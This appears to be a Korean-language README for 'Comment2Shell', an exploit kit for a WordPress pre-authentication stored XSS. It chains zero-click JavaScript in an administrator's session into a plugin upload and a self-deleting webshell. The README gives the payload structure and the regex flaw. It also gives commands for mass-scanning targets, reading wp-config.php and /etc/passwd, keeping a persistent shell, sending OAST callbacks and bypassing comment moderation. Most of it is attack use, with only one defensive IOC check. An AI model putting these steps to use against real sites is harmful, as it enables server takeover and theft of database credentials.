제로클릭 사전 인증 WordPress CVE-2026-93485 익스플로잇 체인: wpautop()의 저장형 XSS가 관리자 세션 플러그인 업로드 및 자체 삭제 웹셸로 확대되며, 스캐너, 셸, Nuclei 템플릿 포함.
Comment2Shell는 CVE-2026-93485에 대한 엔드투엔드 개념 증명(proof-of-concept)으로, WordPress 코어의 wpautop()에 존재하는 인증 전 저장형 XSS가 관리자 세션 내에서 원격 코드 실행으로 확대되는 취약점입니다. 익명 댓글이 페이로드를 심어두면, 관리자가 게시물을 열 때 브라우저가 웹셸 플러그인을 업로드하고, 명령을 실행한 뒤, 다시 셸을 삭제합니다. 전체 체인은 의존성이 없는 단일 Python 파일로 구성되어 있습니다.
Comment2Shell은 CVE-2026-93485를 위한 익스플로잇 및 로컬 랩 키트입니다. 이 버그는 wp-includes/formatting.php에 있으며, 댓글 텍스트에 대해 표시 시점에 실행되는 wpautop() 문단 필터에 존재합니다. blockquote cite 속성 내부의 개행 문자가 HTML 주석 자리표시자로 변환되고, blockquote를 감싸는 정규식이 첫 번째 >에서 멈추면서 속성 중간에 문단 태그를 삽입하게 되며, 브라우저는 이를 onfocus 핸들러로 해석합니다. autofocus 속성이 이를 제로 클릭으로 발동시킵니다.
이 도구는 전체 체인을 다룹니다: 수동적 버전 스캔, 무해한 XSS 프로브, 인증 전에서 RCE까지의 전체 익스플로잇, 대화형 셸, 그리고 방어적 IOC 검사입니다.
이 익스플로잇은 계정도, nonce도, 관리자가 게시물을 조회하는 것 외의 어떤 상호작용도 필요하지 않습니다. 댓글 기능만 열려 있으면 됩니다.
WordPress는 웹의 상당 부분을 차지하며 wpautop()은 코어 코드이므로, 취약한 필터는 테마나 플러그인과 무관하게 모든 영향을 받는 설치 환경에 포함됩니다. 이 XSS는 저장형이며, 인증 전이고, 제로 클릭입니다. 관리자 세션에서 실행되기 때문에 단순한 변조 버그가 아닙니다: 관리자 쿠키만으로 플러그인을 설치할 수 있고, 플러그인 설치란 곧 임의 코드 실행입니다.
수정 사항은 WordPress 7.1.1에 포함되어 25개 브랜치에 걸쳐 4.7.36까지 백포트되었습니다. 4.7.0부터 7.1.0까지의 모든 릴리스가 영향을 받습니다.
WordPress 7.1.0을 대상으로 한 통제된 랩 실행: 익명 댓글이 페이로드를 심고, 관리자가 게시물을 열면 제로 클릭 체인이 발동하며, 웹셸이 업로드되고, 명령 출력이 반환된 뒤, 셸이 스스로 삭제됩니다. 브라우저 탭 제목이 결과를 보고하며, Comment2Shell: shell uploaded 또는 Comment2Shell: admin login required 중 하나입니다. 정확한 절차는 docker/README.md를 참조하세요.
Comment2Shell은 이 결함의 발견을 주장하지 않습니다. 이 취약점은 Rafie Muhammad(Awesome Motive)가 HackerOne WordPress 프로그램을 통해 보고했으며 7.1.1에서 수정되었습니다. 여기서의 기여는 전체 체인을 재현 가능하고 의존성 없이 구현한 것입니다:
1. Anonymous comment submission (no auth, no nonce)
POST /wp-comments-post.php
<blockquote cite="a\nb"><code>x" onfocus=... autofocus>
KSES allows blockquote[cite] and code; the newline in cite survives.
2. Display-time filter chain (the bug)
wpautop() at formatting.php:563:
preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
[^>]* stops at the > inside the <!-- wpnl --> comment,
so a <p> gets injected inside the cite attribute.
3. wptexturize() seals the attribute (block themes)
Outer " becomes ” (curly quote).
The " inside <code> stays straight (no-texturize list).
The browser then parses onfocus/autofocus as real attributes.
4. Zero-click XSS in the admin session
autofocus fires onfocus on page load, no click needed.
JS runs with the admin cookies.
5. Admin session -> plugin upload -> RCE
GET /wp-admin/plugin-install.php, extract the nonce.
Build ZIP in memory, POST update.php?action=upload-plugin.
Webshell lands at wp-content/plugins/<rand>/<rand>.php.
GET /wp-content/plugins/<rand>/<rand>.php?c=id
comment_registration=0)git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help
Python 3.8+ 표준 라이브러리만 사용하며, pip install은 필요하지 않습니다.
# Single target
python3 comment2shell.py --scan -t https://target.com
# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20
# From a pipeline
subfinder -dL targets.txt | httpx -title | \
grep -i wordpress | python3 comment2shell.py --scan --stdin
# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json
각 결과 객체는 다음 필드를 가집니다:
| 필드 | 의미 |
|---|---|
target | 정규화된 대상 URL |
wordpress | WordPress가 탐지된 경우 true |
version | 탐지된 버전, 또는 null |
version_method | 버전이 발견된 방식, 예를 들어 meta 또는 readme |
vulnerable | true, false, 또는 버전을 알 수 없는 경우 null |
post_id | 댓글을 달 수 있는 게시물 ID, 또는 null |
error | 오류 문자열, 또는 null |
# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com
# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
--callback https://your-id.oast.example
익스플로잇 페이로드는 페이지 로드 시
alert("Comment2Shell XSS - CVE-2026-93485")를 실행합니다(autofocus를 통한 제로 클릭). 관리자로 로그인한 상태에서 게시물을 조회하세요. 성공하면 탭 제목이Comment2Shell: shell uploaded로 표시되고, 브라우저에 관리자 세션이 없으면Comment2Shell: admin login required로 표시됩니다.
# Run a command, then delete the shell
python3 comment2shell.py -t https://target.com -c "id"
# Read wp-config.php
python3 comment2shell.py -t https://target.com -c "cat wp-config.php"
# Wait longer for the admin to view the post (default 45s)
python3 comment2shell.py -t https://target.com -c "id" --wait 60
# Keep the webshell after execution
python3 comment2shell.py -t https://target.com -c "id" --no-cleanup
# With an OAST callback
python3 comment2shell.py -t https://target.com \
-c "cat /etc/passwd" \
--callback https://your-id.oast.example
# Known-commenter approval bypass
python3 comment2shell.py -t https://target.com \
-c "whoami" --known-commenter
# Through a proxy
python3 comment2shell.py -t https://target.com \
-c "id" --proxy http://127.0.0.1:8080
이 도구는 XSS 댓글을 제출하고, 생성된 웹셸 경로를 3초마다(최대 --wait초까지) 폴링하며, 관리자의 브라우저가 업로드를 트리거하면 명령을 실행한 뒤 셸을 스스로 삭제합니다(?d=1은 PHP 파일을 unlink하고 플러그인 디렉터리를 제거함). 따라서 아무런 지속성도 남지 않습니다. 셸을 유지하려면 --no-cleanup을, 페이로드만 제출하려면 --wait 0을 전달하세요.
# With a known shell path
python3 comment2shell.py --shell -t https://target.com \
--shell-path ab12cd/ab12cd.php
# Run a single command on an existing shell
python3 comment2shell.py --exec -t https://target.com \
--shell-path ab12cd/ab12cd.php -c "cat wp-config.php"
python3 comment2shell.py --ioc -t https://target.com
처음 댓글을 작성하는 사용자의 새 댓글은 보통 검토를 위해 보류됩니다. 이 도구에는 이를 우회하는 세 가지 경로가 있습니다:
| 경로 | 방법 | 플래그 |
|---|---|---|
| 알려진 댓글 작성자 | check_comment()가 자동 승인하는 기본 "A WordPress Commenter" <[email protected]>를 재사용 | --known-commenter |
| 검토 비활성화 | comment_previously_approved=0인 경우 모든 신원이 자동 승인됨 | 기본값 |
| 작성자 미리보기 | 이전 댓글 작성자가 ?unapproved=<id>&moderation-hash=<hash> 쿠키를 통해 보류 중인 댓글을 봄 | 자동 |
Patchstack에 따르면: "검토는 보안 통제 수단이 아닙니다."